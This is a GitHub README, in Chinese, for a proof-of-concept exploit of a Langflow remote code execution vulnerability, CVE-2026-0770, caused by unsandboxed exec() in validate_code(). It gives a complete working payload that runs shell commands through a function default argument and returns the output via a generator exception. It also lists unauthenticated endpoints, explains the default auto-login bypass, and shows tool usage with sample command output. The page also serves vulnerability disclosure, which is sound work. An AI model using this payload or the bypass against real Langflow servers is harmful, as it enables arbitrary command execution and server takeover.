affix/CVE-2026-0770-PoC
GitHub: affix/CVE-2026-0770-PoC
Langflow远程代码执行漏洞的PoC验证工具,利用validate_code函数中exec()无沙箱执行的缺陷实现任意命令执行与输出回显。
Stars: 3 | Forks: 0
# CVE-2026-0770 - Langflow 远程代码执行
## 概述
Langflow 在位于 `src/lfx/src/lfx/custom/validate.py` 的 `validate_code()` 函数中存在一个严重的远程代码执行漏洞。该函数使用 `exec()` 执行用户提供的 Python 代码,且没有沙箱保护,允许在服务器上执行任意命令。
## 受影响版本
- Langflow 最新版(截至 2026 年 2 月 7 日)
## 其他 CVE
在相关函数和端点中已发现类似漏洞:
- CVE-2026-0772
- CVE-2026-0771
- CVE-2026-0769
- CVE-2026-0768
- CVE-2026-0767
## 漏洞详情
`validate_code()` 函数解析用户提供的代码,并使用 `exec()` 执行函数定义:
```
# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "", "exec")
exec(code_obj, exec_globals) # <-- Arbitrary code execution
```
`exec_globals` 上下文包含对 `importlib` 和 Python 内置函数的访问权限,允许攻击者导入危险模块(`os`、`subprocess`、`socket`)并执行任意系统命令。
## 易受攻击的端点
| 端点 | 身份验证 | 攻击向量 |
|----------|----------------|---------------|
| `POST /api/v1/validate/code` | 需要* | 直接提交代码 |
| `POST /api/v1/custom_component` | 需要* | 组件定义中的代码 |
| `POST /api/v1/custom_component/update` | 需要* | 组件更新中的代码 |
| `POST /api/v1/webhook/{flow_id}` | **无** | 包含代码组件的 Flow |
| `POST /api/v1/build_public_tmp/{flow_id}/flow` | **无** | 公开 Flow 执行 |
\* 当 `AUTO_LOGIN=true`(默认配置)时,可以绕过身份验证
## 其他易受攻击的函数
`validate.py` 中的以下函数也使用了不安全的 `exec()`:
| 函数 | 行号 | 描述 |
|----------|------|-------------|
| `validate_code()` | 66 | 验证用户代码 |
| `eval_function()` | 140 | 求值函数字符串 |
| `execute_function()` | 182 | 执行任意函数 |
| `create_function()` | 227 | 从代码创建函数 |
| `create_class()` | 241-442 | 通过 `prepare_global_scope()` 和 `build_class_constructor()` 创建类 |
## 漏洞利用
### 生成器抛出异常技巧
`validate_code()` 函数只执行函数 *定义*,而不执行函数调用。为了实现带有输出渗出的代码执行,我们利用 Python 对默认参数的求值顺序。
**关键洞察:** 默认参数表达式是在函数 *定义* 时求值的,而不是在函数调用时。
```
def foo(x=print("I execute immediately")):
pass
```
然而,我们需要通过 HTTP 响应渗出输出。该端点在响应体中返回错误,因此我们需要引发一个包含我们输出的异常。
**问题:** `raise` 是一个语句,而不是表达式,因此不能直接在默认参数中使用。
**解决方案:** 使用生成器的 `.throw()` 方法,它会引发异常且是一个表达式:
```
(_ for _ in ()).throw(Exception("output here"))
```
这会创建一个空生成器并立即抛出异常。结合 lambda 来捕获命令输出:
```
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
```
**执行流程:**
1. `exec()` 运行函数定义
2. 默认参数 `_=...` 立即被求值
3. `subprocess.run()` 执行命令
4. Lambda 接收结果并调用生成器的 `.throw()`
5. 异常被引发并附带命令输出
6. `validate_code()` 捕获它并在响应中返回错误
## 用法
```
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"
```
### 选项
| 标志 | 描述 |
|------|-------------|
| `-t, --target` | 目标 URL(必需) |
| `-c, --command` | 要执行的命令(默认:`id && whoami`) |
| `-k, --token` | JWT token(可选,默认使用自动登录) |
## 示例输出(来自 Docker 容器 langflowai/langflow:latest - 2026 年 2 月 7 日)
```
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
```
## 参考资料
- Langflow GitHub: https://github.com/langflow-ai/langflow
- 易受攻击文件: `src/lfx/src/lfx/custom/validate.py`
标签:CISA项目, CVE-2026-0770, exec注入, Langflow, PoC, RCE, Web安全, Web报告查看器, 人工智能安全, 合规性, 暴力破解, 沙箱逃逸, 系统入侵, 编程工具, 蓝队分析, 身份验证绕过, 远程代码执行, 逆向工具, 高危漏洞